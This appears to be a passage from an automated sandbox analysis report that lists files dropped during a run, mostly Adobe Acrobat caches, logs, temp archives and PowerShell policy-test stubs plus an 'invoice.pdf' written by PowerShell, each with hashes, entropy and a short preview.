DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.248385933525614
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWTbSSKGEIsIct1x+FIbRI6XVW7+0Y5soAvJfshHHrPeUkwRe9:YvXKXBU1KGEDrUYpW7kGUUUkee9
MD5:	9260FA1A98A66F02BB2B090A3222F54E
SHA1:	1FF64DFDDF2D82EB4DDA2CDA65F3D78B3473D655
SHA-256:	BDF8A14764035263720E78A8B41E4C54A00207D0101EC910B2B0AF8854585A91
SHA-512:	B8ADE1CDDB8CF7ED724DBCB9981A8058C0B5B21ACF385C253E69BE8CB25CE4298DF6521A4C298D70F9599923DBC71D20B72C51D3F8D3CAAE90F835B5E546F6B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63662779-5915-423a-91c8-3f310abf5426","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738606446,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.256707689754751
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWTbSSKGEIsIct1x+FIbRI6XVW7+0Y5soAvJTqgFCrPeUkwRe9:YvXKXBU1KGEDrUYpW7kGTq16Ukee9
MD5:	52ADE7ED417A4208C9BD7C1C83CAA303
SHA1:	05A7B150C9D51942285DA47C7FCEF7E59CBDD4AE
SHA-256:	D69F7F18AB934FF221A157D9D8BFCB7A152C3CFE01AC8F81F59899CCB2132387
SHA-512:	E5CB5F72C11078279A28A09DCA7A50AFDD25C060049284A346E7D7C457FE26E8039D072B7F1967D68D8FEE9EB973E880237E4A478110C2F9B93F7EBBB70A9028
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63662779-5915-423a-91c8-3f310abf5426","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738606446,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.132877632503788
Encrypted:	false
SSDEEP:	24:YxN5xadoayRquANO16oheQnjoxcj0SxLRjh2cD2LSTC1Sz2qwuTLy5p95uLvOG:YwtO16wbtnrliSz1wK2X94b
MD5:	535B2D01411DDD58A9B3D7ADD8D75685
SHA1:	75ABAA84AAB525E15DA40E2049BE71CC329E0F30
SHA-256:	AC1EA1FCD8C26F621EEF8E61688ABAF65B122109303144D57BA78E10CE3815B7
SHA-512:	9450396C36EF80396E31804CF8726E8728A7AEB66D2C41BC6BB478C6DA796B8BA52FA62CE16B4C31A84F3CE3D18118A7D4CFE4A1168D32331D5D84B3CDDC3AA0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b7de14541d36e14c4bf968a12eef4eaa","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558665000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2a38ea1a59113f3e06891a9e01df4183","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736558665000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"68dcc51abceb8556064fdcd3b36ccd46","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736558665000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"9d96d329671e545984f14a90fdb0f5a9","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736558665000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ffc2b8acb1c9dc235b7b04ba2a8a8835","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736558665000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"b8abf70b922421d1d3a4c1723b706469","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9855075991595013
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpJOCeE4zJwtNBwtNbRZ6bRZ4wOCeEF:TVl2GL7ms6ggOVptevzutYtp6PXeI
MD5:	E74188AF6C541942DD7D64C367AFBBEE
SHA1:	B17F84AB42B2721E6D23C44FF684BE7F103AD0F6
SHA-256:	EE83AFD47EBD9773CF0DC6EB128938FAA45A1145AC3F5AC146FD8EE2C9412FEB
SHA-512:	CE5E57F95B98D929691BD0F17A009D8EEAEBB7565F7F6D753F2E1D2582EADC9C5CF720AE2D76C2457F2EA3DDD8810CACCFBD24CE6986DCEA8E9BC8CB1770AF59
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3390273519231168
Encrypted:	false
SSDEEP:	24:7+tFhAD1RZKHs/Ds/SpJOCeEPzJwtNBwtNbRZ6bRZWf1RZK7qLBx/XYKQvGJF7ug:7MHGgOVpteYzutYtp6PM6qll2GL7ms1
MD5:	9FB111F1409823C1914DAD717286C857
SHA1:	B02D3729074215AA152D9F9811D25F91BB62E17C
SHA-256:	FA8F201E6AD3A2E7C28ADC99BF6A3018DD4A59782BA6DDDA690C2DE89234BC6A
SHA-512:	8893CEB526D5AE63C589956E3AD07FF5C2CC6527656E44DA10F84C21EE29951C253DCD8CBCE35EC8713B4BA46A608C670FFCC29409140E11FC6B567D3FA64618
Malicious:	false
Preview:	.... .c.....R.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEguEHz4fBJppjwSlI7YqlEgdfhYyu:6a6TZ44ADEuEHzOJpBwSlWhK
MD5:	ED20500CA748D7513D3D1AB833A1B457
SHA1:	73CC452FA45C66816E05C60F401B508B3E4AE3F0
SHA-256:	9A2DE122386C298AABD27E1B8664763A3D26AE9830467B3619EACF6EAABBD00C
SHA-512:	48B09F13BEF29C6260EC4702D5B365072D34D0F94C7B04BFC0CFDF71087C0C362490B9DE545CCE23312508ADAD9048B94D2DA5CE60080ED34BF3856F60FEA3ED
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulNpbllp:NllU
MD5:	B23F355C1918A19591CE496E33F96559
SHA1:	A078B9DFAED19A61E534249EDCCFB92072C7EC0A
SHA-256:	26C57D81B78E2DBF7DF4D0D739FAAF5038ADE76B6C9C38FF1EFC75AF3A4D42E8
SHA-512:	E6914A88F25D20646DDDE89E559585226BB66E3D5BC214CD3A16EB38B658238E2A4154B817BFEEA5F8C371BF9DE0438E6B41ABFBBEA72F2DAE94800D67154F1F
Malicious:	false
Preview:	@...e...................................>............@..........

C:\Users\user\AppData\Local\Temp\MSI9ab71.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4953527754662135
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCls:Qw946cPbiOxDlbYnuRK+bR
MD5:	C8EDC180203C021BD24619061F2D1D45
SHA1:	B74B275257D5686ACF316B3A2378FF0DEDD5BB02
SHA-256:	A29E4BAAB6F46CF0BBFFC44BFFF5D61DCBE3A63B0F82F2DAEC4A8293997560C8
SHA-512:	18991D6847AFBAD6DE04F47CBD95DD5601C2D83053775E5E97C48AEBDAD9F0012BFB07713A08FD6933D541C574AF705E1E67CF8E1E791F893A1190F672F3A52F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.2.4.:.2.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_14lpgucs.mqa.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d5h4qmyf.fwp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-24-19-045.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.360817260132769
Encrypted:	false
SSDEEP:	384:3lz07dO1j2pUGbaWNS9oln71RGX5tSyfSxK4GeopAsLqM68g4nlpKdKnuldakTKN:h6I
MD5:	F47E213F986A2232FD8B8B7B6D636C25
SHA1:	EAB50E0442DFE5035EBABFBE22B7C6E0834FA6CA
SHA-256:	3AC8611E68DAE710F917B2E0094BBE6DB853D8168073CA658B3B2AEF3782E3B4
SHA-512:	49A915343016E09FD9DA3FFD811521434A15AC6E1BE804696FAE53D66A1568BD91D811602DD49F3CCFDF0C2254C230B9BF919AC630B204E25A5FD5239136A6EF
Malicious:	false
Preview:	SessionID=b6d28f90-8f33-496a-b767-a177e56e2fad.1736558659066 Timestamp=2025-01-10T20:24:19:066-0500 ThreadID=7696 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b6d28f90-8f33-496a-b767-a177e56e2fad.1736558659066 Timestamp=2025-01-10T20:24:19:067-0500 ThreadID=7696 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b6d28f90-8f33-496a-b767-a177e56e2fad.1736558659066 Timestamp=2025-01-10T20:24:19:067-0500 ThreadID=7696 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b6d28f90-8f33-496a-b767-a177e56e2fad.1736558659066 Timestamp=2025-01-10T20:24:19:067-0500 ThreadID=7696 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b6d28f90-8f33-496a-b767-a177e56e2fad.1736558659066 Timestamp=2025-01-10T20:24:19:067-0500 ThreadID=7696 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397276757574807
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbE:mMdX4JmIFEhiUm091vzzmuI6q
MD5:	B6942EC19769C858E57EA0CCF40CD8B2
SHA1:	9F44EAF16952A681440D29C8D291D31D3221F897
SHA-256:	67885DB30A3A31D9A7006A2D0605404110F78DE9ABD2695B9B8ECD543B45B710
SHA-512:	54DBF8AF0170DB5016EF293938878689FDF6D881ED7FCDE67FE38A1A0AF268C695BD9FC470A682820EBDEA02F9FC59DE965B0C932DD2E8A47A55EC734FA372C7
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\184686da-015b-4fc4-b9b0-3a0f5c1870cd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\31af3d6f-57d3-4496-8075-1be57629deef.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:6Dbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WL07oXGZGwYIGNPJF:cb3mlind9i4ufFXpAXkrfUs0jWLxXGZY
MD5:	279B811F8FB7ED83618C0B37825CCF25
SHA1:	5718DA0EF8F5A938CB88800665F18C9B805208B2
SHA-256:	2AF4D3CE45FACE3A6DF83A17E90912767BE01A6F2C96AD8B3F270FDB13F77E46
SHA-512:	74A736359646F91F28AC496DFFF249D0E5B005AA6BB34DAFDDE3C2A29B70D52E6F865239579AC94540AAB0D20BFC03AE6501814358D2122FCB60A4591213A9B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\996634ba-538a-4dd8-bf90-892301813559.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oXGZGwYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxXGZGwZGh3mlind9i4ufFXpAXkru
MD5:	7867DAFF192926A49EB7516D226D452F
SHA1:	BD0B185B12DB865CEA23060A9789C6B2D814B62E
SHA-256:	C7586BA81615BBAA63DA0D81CE18C0D087D1237500C99C35239A4D3CAEED2934
SHA-512:	B556042E82056983EA6A69AEE0DAB370641437EF6239FD04676FC26EC9472C6E5EF6194885C165E3987E8019321DCD9B4A574EA7A6253AC3C9468434AEAA0C21
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f7a4303c-aafb-4ca6-a7d0-5618a3afbadb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
